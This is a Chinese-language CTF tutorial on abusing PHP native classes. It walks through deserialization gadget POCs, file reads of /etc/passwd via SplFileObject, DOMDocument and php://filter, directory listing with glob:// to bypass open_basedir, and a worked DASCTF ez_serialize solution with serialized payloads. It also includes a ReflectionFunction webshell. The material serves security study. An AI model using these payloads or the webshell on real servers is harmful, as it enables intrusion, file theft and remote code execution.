1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php class Game { public $username ; public $password ; public $choice ; public $register ; public $file ; public $filename ; public $content ; public function __construct ( ) { $this ->username='user' ; $this ->password='user' ; } public function __wakeup ( ) { if (md5 ($this ->register)==="21232f297a57a5a743894a0e4a801fc3" ){ $this ->choice=new login ($this ->file,$this ->filename,$this ->content); }else { $this ->choice = new register (); } } public function __destruct ( ) { $this ->choice->checking ($this ->username,$this ->password); } } class login { public $file ; public $filename ; public $content ; } class Open { function open ($filename , $content ) { } } $poc = new Game ();$poc ->username = "admin" ;$poc ->password = "admin" ;$poc ->register = "admin" ;$poc ->file = new Open ();$poc ->filename = "xxx" ;$poc ->content = "n\l /flag" ;echo base64_encode (serialize ($poc ));
PHP 原生文件操作类 SPL SPL就是Standard PHP Library的缩写。据手册显示,SPL是用于解决 典型问题(standard problems) 的一组接口与类的集合:
SPL 对 PHP 引擎进行了扩展,例如 ArrayAccess、Countable 和 SeekableIterator 等接口,它们用于以数组形式操作对象。同时,你还可以使用 RecursiveIterator、ArrayObejcts 等其他迭代器进行数据的迭代操作。它还内置几个的对象例如 Exceptions、SplObserver、Spltorage 以及 splautoloadregister、splclasses、iteratorapply 等的帮助函数(helper functions),用于重载对应的功能。这些工具聚合在一起就好比是把多功能的瑞士军刀,善用它们可以从质上提升 PHP 的代码效率。
因为SPL是要解决典型问题,免不了有一些处理文件的类。下面,我们简单的挑几个SPL中常用的文件处理原生类进行讲解,其他的等以后遇到了在添进来。
SplFileObject 类
读文件poc
1 2 3 4 5 6 7 $context = new SplFileObject('/etc/passwd'); foreach($context as $f){ echo($f); } // 或者用伪协议base64直接输出,有时候有奇效 $context = new SplFileObject('php://filter/read=convert.base64-encode/resource=/etc/passwd'); echo $context;
写文件poc
1 2 $f = new SplFileObject('./file', "w"); $f->fwrite("file");
可遍历目录类 可遍历目录类有以下几个:
DirectoryIterator 类
FilesystemIterator 类
GlobIterator 类
DirectoryIterator 类 DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。
类摘要:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 DirectoryIterator extends SplFileInfo implements SeekableIterator { public __construct ( string $path ) public current ( ) : DirectoryIterator public getATime ( ) : int public getBasename ( string $suffix = ? ) : string public getCTime ( ) : int public getExtension ( ) : string public getFilename ( ) : string public getGroup ( ) : int public getInode ( ) : int public getMTime ( ) : int public getOwner ( ) : int public getPath ( ) : string public getPathname ( ) : string public getPerms ( ) : int public getSize ( ) : int public getType ( ) : string public isDir ( ) : bool public isDot ( ) : bool public isExecutable ( ) : bool public isFile ( ) : bool public isLink ( ) : bool public isReadable ( ) : bool public isWritable ( ) : bool public key ( ) : string public next ( ) : void public rewind ( ) : void public seek ( int $position ) : void public __toString ( ) : string public valid ( ) : bool }
利用 DirectoryIterator 类遍历指定目录里的文件:
如果我们这样:
1 2 3 <?php $dir =new DirectoryIterator ("/" );echo $dir ;
会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString()
方法,输出指定目录里面经过排序之后的第一个文件名:
循环输出所有文件
1 2 3 4 5 <?php $dir =new DirectoryIterator ("/" );foreach ($dir as $f ){ echo ($f .'<br>' ); }
也可以配合glob://协议使用模式匹配来寻找我们想要的文件路径:
glob:// 协议用来查找匹配的文件路径模式
1 2 3 <?php $dir =new DirectoryIterator ("glob:///*flag*" );echo $dir ;
如果想输出全部的文件名我们还需要对$dir对象进行遍历:
1 2 3 4 5 6 <?php $dir =new DirectoryIterator ("/" );foreach ($dir as $f ){ echo ($f .'<br>' ); }
FilesystemIterator 类 FilesystemIterator 类与 DirectoryIterator 类相同,提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。
该类的使用方法与DirectoryIterator 类也是基本相同的:
1 2 3 <?php $dir =new FilesystemIterator ("/" );echo $dir ;
1 2 3 <?php $dir =new FilesystemIterator ("glob:///*flag*" );echo $dir ;
1 2 3 4 5 6 <?php $dir =new FilesystemIterator ("/" );foreach ($dir as $f ){ echo ($f .'<br>' ); }
GlobIterator 类 与前两个类的作用相似,GlobIterator 类也可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径。
类摘要:
1 2 3 4 5 6 7 8 9 10 11 12 13 GlobIterator extends FilesystemIterator implements SeekableIterator , Countable { public __construct ( string $pattern , int $flags = FilesystemIterator ::KEY_AS_PATHNAME | FilesystemIterator ::CURRENT_AS_FILEINFO ) public count ( ) : int public FilesystemIterator ::__construct ( string $path , int $flags = FilesystemIterator ::KEY_AS_PATHNAME | FilesystemIterator ::CURRENT_AS_FILEINFO | FilesystemIterator ::SKIP_DOTS ) public FilesystemIterator ::current ( ) : mixed public FilesystemIterator ::getFlags ( ) : int public FilesystemIterator ::key ( ) : string public FilesystemIterator ::next ( ) : void public FilesystemIterator ::rewind ( ) : void public FilesystemIterator ::setFlags ( int $flags = ? ) : void }
我们知道,向下面这样在单纯的使用 DirectoryIterator 类和 FilesystemIterator 类且没有配合glob://协议进行匹配的时候:
1 2 3 4 5 6 7 <?php $dir =new DirectoryIterator ("/" );echo $dir ;<?php $dir =new FilesystemIterator ("/" );echo $dir ;
其构造函数创建的是一个指定目录的迭代器,当我们使用echo函数输出的时候,会触发这两个类中的 __toString()
方法,输出指定目录里面特定排序之后的第一个文件名。也就是说如果我们不循环遍历的话是不能看到指定目录里的全部文件的,而 GlobIterator 类便可以帮我们在一定程度上解决了这个问题。由于 GlobIterator 类支持直接通过模式匹配来寻找文件路径,也就是说假设我们知道一个文件名的一部分,我们可以通过该类的模式匹配找到其完整的文件名。例如,我们在CTF中知道flag在根目录,但是我们不知道flag文件的完整文件名,我们就可以通过类似 GlobIterator(/*flag*)
:
1 2 3 <?php $dir =new GlobIterator ("/*flag*" );echo $dir ;
绕过open_basedir 使用可遍历目录类绕过 open_basedir
DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件。
测试代码:
1 2 3 4 5 6 7 8 9 10 <?php $dir = $_GET ['whoami' ];$a = new DirectoryIterator ($dir );foreach ($a as $f ){ echo ($f ->__toString ().'<br>' ); } ?> $a = new DirectoryIterator ("glob:///*" );foreach ($a as $f ){echo ($f ->__toString ().'<br>' );}
我们输入 /?whoami=glob:///*
即可列出根目录下的所有文件:
列出Web目录下的所有文件:
测试代码:
1 2 3 4 5 6 7 8 9 10 <?php $dir = $_GET ['whoami' ];$a = new FilesystemIterator ($dir );foreach ($a as $f ){ echo ($f ->__toString ().'<br>' ); } ?> $a = new FilesystemIterator ("glob:///*" );foreach ($a as $f ){echo ($f ->__toString ().'<br>' );}
由于使用 GlobIterator 类支持直接通过模式匹配来寻找文件路径,所以我们就不用在配合glob://协议了。
测试代码:
1 2 3 4 5 6 7 8 9 10 <?php $dir = $_GET ['whoami' ];$a = new GlobIterator ($dir );foreach ($a as $f ){ echo ($f ->__toString ().'<br>' ); } ?> $a = new FilesystemIterator ("/*" );foreach ($a as $f ){echo ($f ->__toString ().'<br>' );}
读写文件类 目前发现的可读取文件类有:
SplFileObject 类 读文件 SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等。详情请参考:https://www.php.net/manual/zh/class.splfileobject.php
该类的构造方法可以构造一个新的文件对象用于后续的读取。
我们可以像类似下面这样去读取一个文件的一行:
1 2 3 <?php $context = new SplFileObject ('/etc/passwd' );echo $context ;
但是这样也只能读取一行,要想全部读取的话还需要对文件中的每一行内容进行遍历:
1 2 3 4 5 <?php $context = new SplFileObject ('/etc/passwd' );foreach ($context as $f ){ echo ($f ); }
例题 [2021 MAR DASCTF 明御攻防赛]ez_serialize
进入题目,给出源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php error_reporting (0 );highlight_file (__FILE__ );class A { public $class ; public $para ; public $check ; public function __construct ( ) { $this ->class = "B "; $this ->para = "ctfer "; echo new $this ->class ($this ->para ); } public function __wakeup () // 可以直接绕过__wakeup ()方法的执行 { $this ->check = new C; if ($this ->check->vaild ($this ->para) && $this ->check->vaild ($this ->class )) { echo new $this ->class ($this ->para ); } else die ('bad hacker ~'); } } class B { var $a ; public function __construct ($a ) { $this ->a = $a ; echo ("hello " .$this ->a); } } class C { function vaild ($code ) { $pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i' ; if (preg_match ($pattern , $code )){ return false ; } else return true ; } } if (isset ($_GET ['pop' ])){ unserialize ($_GET ['pop' ]); } else { $a =new A; }
在A类中可以动态拼接类,就像PHP动态执行函数一样。但是题目给出的A、B、C三个类但是都没有什么危险函数,应该是没有利用的点,想到应该是原生类的利用。我们可以利用上面说的那几个文件处理的原生去读文件。
首先利用DirectoryIterator或FilesystemIterator类去遍历目标的Web目录:
1 2 3 4 5 6 7 8 9 10 <?php class A { public $class ='FilesystemIterator' ; public $para ="/var/www/html/" ; public $check ; } $poc = new A ();echo serialize ($poc );
得到payload:
1 O:1 :"A" :3 :{s:5 :"class" ;s:18 :"FilesystemIterator" ;s:4 :"para" ;s:14 :"/var/www/html/" ;s:5 :"check" ;N;}
执行后得到一个文件夹 aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE:
并在这个文件夹中找到了flag.php:
然后我们使用 SplFileObject 类读取flag.php就行了:
1 2 3 4 5 6 7 8 9 10 <?php class A { public $class ='SplFileObject' ; public $para ="/var/www/html/aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE/flag.php" ; public $check ; } $poc = new A ();echo serialize ($poc );
得到payload:
1 O:1 :"A" :3 :{s:5 :"class" ;s:13 :"SplFileObject" ;s:4 :"para" ;s:55 :"/var/www/html/aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE/flag.php" ;s:5 :"check" ;N;}
写文件 写文件poc
1 2 $f = new SplFileObject('./file', "w"); $f->fwrite("file");
DOMDocument 读文件poc 1 2 3 4 5 6 7 8 $f ="/etc/passwd" ;$d =new DOMDocument ();$d ->loadHTMLFile ("php://filter/convert.base64-encode/resource=$f " );$d ->loadXML ($d ->saveXML ());echo $d ->getElementsByTagName ("p" )[0 ]->textContent;
写文件poc 1 2 3 4 5 6 $f ="./test.php" ;$d =new DOMDocument ();$d ->loadHTML ("dGVzdA==" );$d ->saveHtmlFile ("php://filter/string.strip_tags|convert.base64-decode/resource=$f " );
反射类Reflection 它可以在 PHP 运行状态中,扩展分析 PHP 程序,导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。这种动态获取的信息以及动态调用对象的方法的功能称为反射API。
ReflectionMethod 说明 利用功能: - 设置类中私有/受保护是否可以直接访问 - 通过反射调用方法 - 获取方法信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 (new ReflectionMethod ("class?" ,"method?" ))->invoke (new [class ?]/NULL (静态类),args1,args2); (new ReflectionMethod ("class?" ,"method?" ))->invokeArgs (new [class ?]/NULL (静态类,[args1,args2])); $f = new ReflectionMethod ("class?" ,"method?" );$f ->setAccessible (true );$f ->invoke (new [class ?]);(new [class ?])->[method ?](); // 会报错 # 获取函数信息 (new ReflectionMethod ("class ?","method ?"))->getDeclaringClass () // 获取反射方法的类作为反射类返回 (new ReflectionMethod ("class ?","method ?"))->isAbstract () // 方法是否是抽象方法 (new ReflectionMethod ("class ?","method ?"))->isConstructor () // 方法是否是 __construct (new ReflectionMethod ("class ?","method ?"))->isDestructor () // 方法是否是 __destruct (new ReflectionMethod ("class ?","method ?"))->isFinal () // 方法是否定义了final (new ReflectionMethod ("class ?","method ?"))->isPrivate () // 方法是否是私有方法 (new ReflectionMethod ("class ?","method ?"))->isProtected () // 方法是否是受保护方法 (new ReflectionMethod ("class ?","method ?"))->isPublic () // 方法是否是公有方法 (new ReflectionMethod ("class ?","method ?"))->isStatic () // 方法是否是静态方法 (new ReflectionMethod ("class ?","method ?"))->getDocComment () // 获取方法注释内容 (new ReflectionMethod ("class ?","method ?"))->getStartLine () // 获取方法开始行号 (new ReflectionMethod ("class ?","method ?"))->getEndLine () // 获取方法结束行号 (new ReflectionMethod ("class ?","method ?"))->getExtensionName () // 获取扩展名称 (new ReflectionMethod ("class ?","method ?"))->getName () // 获取方法名称 (new ReflectionMethod ("class ?","method ?"))->getNamespaceName () // 获取命名空间名称 (new ReflectionMethod ("class ?","method ?"))->getNumberOfParameters () // 获取方法参数数量 (new ReflectionMethod ("class ?","method ?"))->getNumberOfRequiredParameters () // 获取方法必须传入的参数数量 (new ReflectionMethod ("class ?","method ?"))->getParameters () // 获取方法参数名 (new ReflectionMethod ("class ?","method ?"))->getShortName () // 获取方法短名 (new ReflectionMethod ("class ?","method ?"))->getStaticVariables () // 获取方法静态变量 (new ReflectionMethod ("class ?","method ?"))->hasReturnType () // 方法是否有特定返回类型 (new ReflectionMethod ("class ?","method ?"))->inNamespace () // 方法是否定义在命名空间 (new ReflectionMethod ("class ?","method ?"))->isClosure () // 方法是否是匿名函数 (new ReflectionMethod ("class ?","method ?"))->isDeprecated () // 方法是否弃用 (new ReflectionMethod ("class ?","method ?"))->isGenerator () // 方法是否是生成器函数 (new ReflectionMethod ("class ?","method ?"))->isInternal () // 方法是否是内部函数 (new ReflectionMethod ("class ?","method ?"))->isUserDefined () // 方法是否是用户定义
示例 ReflectionMethod 类报告了一个方法的有关信息。ReflectionMethod 类中有很多继承方法可以使用,比如这个 getDocComment()
方法,我们可以用它来获取类中各个函数注释内容
example:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class FlagIsHere { /** * 这是测试方法 * flag{success} * @return int */ protected function GiveMeFlag() { return 9999; } } $ref = new ReflectionMethod('FlagIsHere','GiveMeFlag'); var_dump($ref->getDocComment());
输出:
ReflectionClass 说明 利用功能: - 获取/修改类中静态属性的值 - 获取类中属性的值 - 实例化新类 - 获取类信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 (new ReflectionClass ("class?" ))->getStaticProperties (); (new ReflectionClass ("class?" ))->getStaticPropertyValue ("key?" ,"default_value?" ); (new ReflectionClass ("class?" ))->setStaticPropertyValue ("key?" ,"value?" ); (new ReflectionClass ("class?" ))->getProperties (); (new ReflectionClass ("class?" ))->getProperty ("key?" ) $c = new ReflectionClass ('ReflectionFunction' );$iv = $c ->newInstance ('phpinfo' );$ia = $c ->newInstanceArgs (array ('phpinfo' ));$ie = $c ->newInstanceWithoutConstructor (); (new ReflectionClass ("class?" ))->export (); (new ReflectionClass ("class?" ))->getConstant (string $name ) (new ReflectionClass ("class?" ))->getConstants (?int $filter = null ) (new ReflectionClass ("class?" ))->getConstructor () (new ReflectionClass ("class?" ))->getDefaultProperties () (new ReflectionClass ("class?" ))->getDocComment () (new ReflectionClass ("class?" ))->getStartLine () (new ReflectionClass ("class?" ))->getEndLine () (new ReflectionClass ("class?" ))->getExtensionName () (new ReflectionClass ("class?" ))->getFileName () (new ReflectionClass ("class?" ))->getInterfaceNames () (new ReflectionClass ("class?" ))->getInterfaces () (new ReflectionClass ("class?" ))->getMethod (string $name ) (new ReflectionClass ("class?" ))->getMethods () (new ReflectionClass ("class?" ))->getModifiers () (new ReflectionClass ("class?" ))->getName () (new ReflectionClass ("class?" ))->getNamespaceName () (new ReflectionClass ("class?" ))->getParentClass () (new ReflectionClass ("class?" ))->getReflectionConstant () (new ReflectionClass ("class?" ))->getReflectionConstants () (new ReflectionClass ("class?" ))->getShortName () (new ReflectionClass ("class?" ))->getTraitAliases () (new ReflectionClass ("class?" ))->getTraitNames () (new ReflectionClass ("class?" ))->getTraits () (new ReflectionClass ("class?" ))->hasConstant (string $name ) (new ReflectionClass ("class?" ))->hasMethod (string $name ) (new ReflectionClass ("class?" ))->implementsInterface (string $interface ) (new ReflectionClass ("class?" ))->inNamespace () (new ReflectionClass ("class?" ))->isAbstract () (new ReflectionClass ("class?" ))->isAnonymous () (new ReflectionClass ("class?" ))->isCloneable () (new ReflectionClass ("class?" ))->isFinal () (new ReflectionClass ("class?" ))->isInternal () (new ReflectionClass ("class?" ))->isIterable () (new ReflectionClass ("class?" ))->isIterateable () (new ReflectionClass ("class?" ))->isSubclassOf (string $class ) (new ReflectionClass ("class?" ))->isTrait () (new ReflectionClass ("class?" ))->isUserDefined ()
示例 ReflectionClass 类报告了一个类的有关信息。其中初始化方法能够返回类的实例。
1 public ReflectionClass::__construct(mixed $argument)
$argument
:既可以是包含类名的字符串(string)也可以是对象(object)。
用法如下
example:
把类里面属性和方法的名字都能够显示出来。
ReflectionFunction 使用 可以通过这个反射类拿到许多函数中的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 (new ReflectionFunction ("func?" ))->invoke (args); (new ReflectionFunction ("func?" ))->invokeArgs ([args1,args2]); (new ReflectionFunction ("func?" ))->isDisabled () (new ReflectionFunction ("func?" ))->getClosure () (new ReflectionFunction ("func?" ))->getDocComment () (new ReflectionFunction ("func?" ))->getStartLine () (new ReflectionFunction ("func?" ))->getEndLine () (new ReflectionFunction ("func?" ))->getExtensionName () (new ReflectionFunction ("func?" ))->getName () (new ReflectionFunction ("func?" ))->getNamespaceName () (new ReflectionFunction ("func?" ))->getNumberOfParameters () (new ReflectionFunction ("func?" ))->getNumberOfRequiredParameters () (new ReflectionFunction ("func?" ))->getParameters () (new ReflectionFunction ("func?" ))->getShortName () (new ReflectionFunction ("func?" ))->getStaticVariables () (new ReflectionFunction ("func?" ))->hasReturnType () (new ReflectionFunction ("func?" ))->inNamespace () (new ReflectionFunction ("func?" ))->isClosure () (new ReflectionFunction ("func?" ))->isDeprecated () (new ReflectionFunction ("func?" ))->isGenerator () (new ReflectionFunction ("func?" ))->isInternal () (new ReflectionFunction ("func?" ))->isUserDefined ()
示例 ReflectionFunction 类报告了一个函数的有关信息。其中invokeArgs()
方法能够用来写Webshell。
1 public ReflectionFunction::invokeArgs(array $args): mixed
$args
:传递给函数的参数是一个数组,像call_user_func_array()
的工作方式。
example:
1 2 3 4 5 6 7 8 9 10 <?php function title($title, $name) { return sprintf("%s. %s\r\n", $title, $name); } $function = new ReflectionFunction('title'); echo $function->invokeArgs(array('Dr', 'Phil')); ?>
我们可以使用这个方法来写Webshell:
1 2 3 4 <?php $func = new ReflectionFunction($_GET[m]); echo $func->invokeArgs(array($_GET[c])); ?>
其他 IntlChar 可以取代ord
,chr
等函数
1 2 3 IntlChar ::ord ("a" );IntlChar ::chr (97 );
finfo 判断文件是否存在(判断文件类型)poc 1 2 3 $f = "./aasd.php"; $ff = new finfo(FILEINFO_MIME); echo $ff->file($f);
原生类反序列化利用